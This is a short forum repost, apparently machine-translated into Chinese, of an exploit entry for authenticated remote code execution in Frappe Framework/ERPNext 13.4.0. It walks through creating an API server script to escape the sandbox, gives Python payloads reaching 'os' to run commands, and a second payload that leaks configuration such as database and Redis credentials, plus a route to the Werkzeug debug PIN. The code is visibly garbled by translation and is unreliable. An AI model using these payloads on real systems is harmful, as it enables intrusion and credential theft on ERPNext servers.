H

Frappe Framework(ERPNEXT)13.4.0-远程代码执行(身份验证)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#exploit title: frappe框架(erpnext)13.4.0-远程代码执行(身份验证)
#利用作者: Sander Ferdinand
#日期: 2023-06-07
#版本: 13.4.0
#供应商homepage: http://erpnext.org
#软件link: https://github.com/frappe/frappe/
#测试在: Ubuntu 22.04
#CVE :无
愚蠢的沙盒逃生。
Frappe Framework使用限制性Ppython库来限制对服务器脚本可用的方法的访问。
需求:
- “系统经理”角色(不一定是管理员)
-Server配置`server_script_enabled“设置为true”(可能)
在“/app/server-script”上创建一个新脚本,将类型设置为API,方法为'lol',然后访问/api/method/lol以执行有效载荷。
``python3
hax='echo pwned /tmp /pwned'
g=({k:v('os')。
对于G:0中的X
````````
Context:
-https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-Read/
-https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6
-https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script
-https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#l42
奖励:
最新版本(截至写作,14.40.1)块“ gi_frame”,但仍然有一个读取的原始版本可以通过format_map:逃避沙箱
``python3
hax='''
{
'''。条()
g=(frappe.msgprint(hax.format_map({'g': g}))for(0,))
对于G:0中的X
````````
它打印Frappe Config,例如数据库/REDIS凭据等。
在Werkzeug不太可能与`use_evalex'一起运行的情况下,您可以使用上述方法来退休Werkzeug Secret Pin,然后浏览到RCE的RCE(或提出异常)。
 
后退
顶部